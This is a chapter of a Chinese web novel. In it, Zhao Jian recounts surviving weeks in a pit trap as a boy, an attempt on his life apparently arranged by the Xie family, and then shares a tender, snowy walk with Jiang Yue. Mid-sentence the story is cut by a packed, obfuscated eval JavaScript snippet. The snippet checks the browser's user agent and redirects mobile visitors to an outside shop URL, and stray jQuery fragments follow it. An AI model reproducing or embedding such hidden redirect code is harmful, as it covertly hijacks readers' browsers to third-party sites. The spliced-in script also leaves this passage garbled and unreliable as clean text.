63. 猎人与刺猬(三)
    后厨忙活的老翁用手肘轻撞了下老媪的胳膊,嘴巴向小桌努了努,道:“罪过!真是罪过,我方才还真以为郎君是个不能说话的,看小娘子不情愿理的模样,还担心私下她会刻薄郎君。”

    老媪眯着眼看了赵简一张一合的嘴巴,心里也叫了一声罪过,方才她还以为赵简智力有缺陷,是被姜月拐带出来的,但她不愿在老伴儿面前输了面子,道:“你真老糊涂了!方才分明是怄气呢!我一看小娘子身上的氅衣就知道,你看都拖地了,不是郎君的是谁的?”

    “小娘子脸上面冷心热,心里不知多着紧呢!”

    老翁笑道:“是了,原也是个嘴硬心软的......从前我行商在外受了欺辱,你也是这样瞧着我的......”老媪笑着推他:“你这老不要脸,我才没有......”

    两人自以为说得够小声了,实则对习武之人已经足够大了。

    姜月咳了一声,挪开目光,问道:“你在虎穽待了多久?”

    瓷碗的热气蒸腾上来,赵简的神色变得有些模糊,他望着面汤中打折旋儿的油点子,语气稀拉平常,“不到一个月。”

    姜月看不出他有没有伤心难过,甚至有点冲动想伸手将碍事的烟雾拨散,听到这话筷子啪一下掉到桌上,“多久?”

    一个月?!

    赵简跟着抬头,拿起帕子拭去溅落到她手背的汤汁,又给她取了双干净筷子,“没多久,也就二十来天。”

    姜月鼻孔出气,瓮声瓮气道:“二十天,大罗神仙也该饿死了。”

    赵简指着自己,温声道:“还过得好好的。”姜月抱着臂,神色变得复杂。

    “我随身带着给朱驹的零嘴,起先几日我吃的就是它的东西。”赵简道,“后来饿得不行了,树叶、树根、泥土、蚯蚓,唔......还有叫不出名字的昆虫,都吃。”

    什么都吃,除了朱驹,他舍不得。

    “饿还能忍,但渴却更难熬,那时正值初冬,我盼着下雨或下雪,却也知道受寒的话我会死得更快。”赵简像一个事外人一样诉说着,倒是姜月越听越觉得东西梗在喉咙咽不下去了。

    “我被渴到出了幻觉,恍惚中好似听到了水声,醒来之后发现虎穽一侧是石壁,我贴着石壁听,隐约听到了水流的声音,用了最后的力气撬开了其中一块松动的石头,发现那里的泥土是湿的,等了一会儿果真看到石隙里有水渗落下来。”

    赵简叹了一声,“但是光有水也是不行的。我开始没日没夜地昏睡……某天醒来的时候,我忽然发现被挖空的石壁空隙多了一条巴掌大的鱼。”

    姜月推测水流是地下水,但几乎是奇迹般出现的鱼……或许只能说赵简实在命不该绝。

    赵简又道:“我至今也没有想明白它是怎么出现的,我此前没有野外生存的经验,当然也没有气力处理,加之饥肠辘辘,三两口便生嚼下肚,吃得太急,鱼刺卡在喉咙里,连呼救的声音也喊不出来了,就这样错过了第二次在陷阱旁搜寻的侍卫。”

    “第二次?”

    “第一次他们来的时候是傍晚,陷阱又是背荫处,说没看到我。我身上有伤,不分昼夜地昏睡,连他们什么时候来的我都没有发觉。”

    赵简碗中的馎饦已经吃了一半,热气轻飘飘地拂向姜月的方向,一如他的语气,他抬头看了眼不动的姜月,倾诉过后带着释然,道:“其实这里的鱼肉馎饦挺好吃的,没有腥味,一根鱼刺也没有。”

    面汤当然没有鱼刺,因为那根鱼刺跑到了姜月喉咙里。

    她自认没有那样的恶趣味,如果早知道他有这样的经历,她断然不会这样揭他的伤口。这已经不能算是在伤口上撒盐了,应该和将皮开肉绽的人扔进盐池的行径一样恶劣。他的语气越是平淡,她就越觉得不是滋味。

    当年那个半大的少年,是怎么在阴暗寒冷的深坑中熬过那二十几个昼夜的?姜月无法想象,十一二岁的时候她还不知死活地招朋唤友要扮演英雄去救美呢。

    赵简没有描述当时的细节,但姜月知道他不是坐以待毙的人,即使喉咙失声,他也一定会想办法让别人知道自己的存在,除非......当时他已经虚弱到做不出任何动作了。他听到了地面的脚步声,嘶哑着渗血的嗓子想要呼救,微弱的嗬嗬声却被当做了风声,被杂乱脚步声踩回泥里。

    他的手脚已经抬不起来了,只能喘着气慢慢转动眼珠子,希冀着上面的人可以往下看一看。他心里喊了无数遍:我在这里,我就在这里!救救我!救我出去!可是没有,没有人发现他。

    陷阱之上铺着黄叶野草,从中泄漏的阳光被人影遮盖了,有好几次,那拖长的影子甚至落到了他手边,可惜他连抓住幻影的力气也没有了,只能听着人声渐远,眼珠子徒劳地跟着从一边转到另一边。当最后的脚步声湮没在丛林,最初发觉有人靠近而觉得能获救的狂喜化作透顶的绝望,将他钉死在黑暗中。

    他甚至不敢哭泣,因为眼泪只会让他身体的水分加剧流失。他蜷缩在角落里,极度干渴与饥饿让他无数次陷入昏睡,但咽喉与鼻腔的呼吸带动的剧烈撕裂疼痛又会让他恢复短暂的清醒,清醒与昏厥交替,折磨一刻也没有停止,他在腐烂潮湿的气味中渐渐感受着自己的力气一点点流失,感受着自己逐渐成为深坑的一滩烂泥。

    也是从那时起,他无比讨厌黑暗。

    姜月问道:“当年这件事,是谢家的手笔?”

    赵简沉默了,但这种时候的沉默就是一种承认。姜月了然,不仅是谢家的手笔,而且恐怕与谢婉脱不开关系。为他的失踪哭到昏厥的母亲竟然是想杀害他的凶手,多讽刺啊。

    彼时队伍中位份最高者当属元景帝的原配谢宸,而她也正是谢婉的亲侄女,在发现队伍中少了赵简后,她并没有第一时间派人查证,而是直接命令队伍启程。等到众人抵达皇宫后,元景帝才知道赵简在行宫出了事。而这一来一回的时间,正好给人抹去赵简在林子里留下的痕迹。

    直接杀害皇子太过冒险,他们联手制造了一场“意外”。这或许就可以解释,为何赵岚的封地是几个儿子里面最贫瘠最偏远的,为什么赵岚贤名在外元景帝却始终对他不咸不淡。

    元景帝或者是察觉出这事与谢婉有关,但那是他的母亲,他不能将这件事放到明面上处理,他知道赵简不能再留在皇宫,于是登基后做的第一件事就是送赵简离开,让他去了藩地,又让他从军。

    赵简从来没和其他人谈起过这件事,即使是面对如兄如父的元景帝,他也觉得这些隐秘的细节羞于启齿。将自己的软弱示于他人面前比练兵打战难多了。

    但不知为何,他在姜月面前会有了倾诉的念头,尽管这样的念头只有一刹那——虽然他说完就后悔了。他心道:或许不应该说的,又或许说得有些矫情了。一个大男人因为小小的鱼刺有阴影也太不像话了。于是他率先打破了沉默,吃了一口馎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306574|132510||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    饦,决心将方才说过的话抛到脑后,提醒对面的人:“要凉了。”

    姜月不想动筷,她觉得放在他面前的不是什么鱼肉馎饦,而是带有死亡味道的面汤,她并不觉得愧疚,只是觉得自己做得不够人道,但那三个字就卡在了姜月喉咙里,吞不下去,也说不出来。

    赵简捻着汤匙的食指动了动,舀起了一口带鱼肉的汤。姜月蹙紧了眉头,心道:这人怎么回事?不爱喝就别喝了,怎么好像我拿刀架在他脖子上逼他喝一样?她忽然很生气,虽然她也不知道为什么会生气。

    一只手止住赵简的动作。

    姜月将两碗馎饦换了位置,若无其事道:“怎么能好东西都让你占了?说起来你的比我的还贵上三钱。”

    瓷碗的温度熨暖了赵简的心,他轻轻嗯了一声,忍不住笑了,心想她发明的那个皇榜榜首好像另有其人。

    天色渐明,赶早的旅人们挑着担子停在馎饦摊前,喊了一声:“老汉,馎饦怎么卖?”

    “客官,素馎饦两钱一碗,其余都是六钱一碗。”

    “老汉,你恁地不厚道,我方才听这小娘子说多肉馎饦便宜三钱,你莫不是诓我是外乡人?”

    姜月脸热了热,只作听不见,埋头吃得更认真了。

    “姜月......”

    姜月很不耐烦看他的样子,略微一扬下巴,想嘴硬说自己只是不小心记岔了。

    赵简伸手将她鬓角的碎发轻轻捋到耳后,柔声道:“我们下次还来这里吃馎饦吧。”姜月在他琥珀般的眸子看到了自己的倒影,看不太清,但脸上神情和他的好像是一样的。

    少顷,老翁前来收拾碗筷,惊喜发现桌面上放着一只朴素温润的玉扳指。

    食客们纷纷围了过来,咂舌道:“好家伙!这玉扳指够俩人吃上一辈子馎饦了!”

    早已走远的两人没听到身后炸了锅的议论,姜月打了个哈欠,道:“那只玉扳指,你要还的。”

    这是今夜出行的第三个意外之喜。

    天空飘起了雪花,赵简换了只手撑油纸伞,另一手绕过她的腰,往下找她的手,缓声道:“好。”

    “你干嘛?”

    “我在估计指环的尺寸。”

    大约是困顿让姜月防御力变小了,她追问道:“这样捏一下就能知道大小?”

    赵简回答得很肯定,“可以。”

    “那你摸其他手指做什么?”

    “家里那块玉料有多,我们可以多做几个,不要浪费了。”

    姜月因为困倦接连扯了好几个哈欠,泪眼花花,“是么?那确实,浪费不好。”

    原来她困的时候这么好说话啊,赵简觉得又摸到了小窍门,看着反应明显慢了几拍的姜月,不自觉笑了又笑,握着她的手拢了拢她的腰,轻声道:“我背你回去吧。”

    姜月顿住脚,看了一眼他的背,厚实宽大,很像她的床,确实适合睡觉,也不知道自己作了什么反应,只见赵简好像在招手说:“上来。”

    天空中忽然掠过一抹雪白的残影,又听得两声尖锐鸟鸣,姜月抬头往上望去。在暗处的人终于找到了机会,心里松了一口气,他低着头慢慢走到两人身后。

    姜月在看到他的一瞬间甩开了赵简的手,后者看着墨竹的脸色可算不上多好。

    姜月板着脸,问道:“何事?”

    墨竹也不敢撩眼皮,躬身道:“回殿下,大理寺那边出事了。”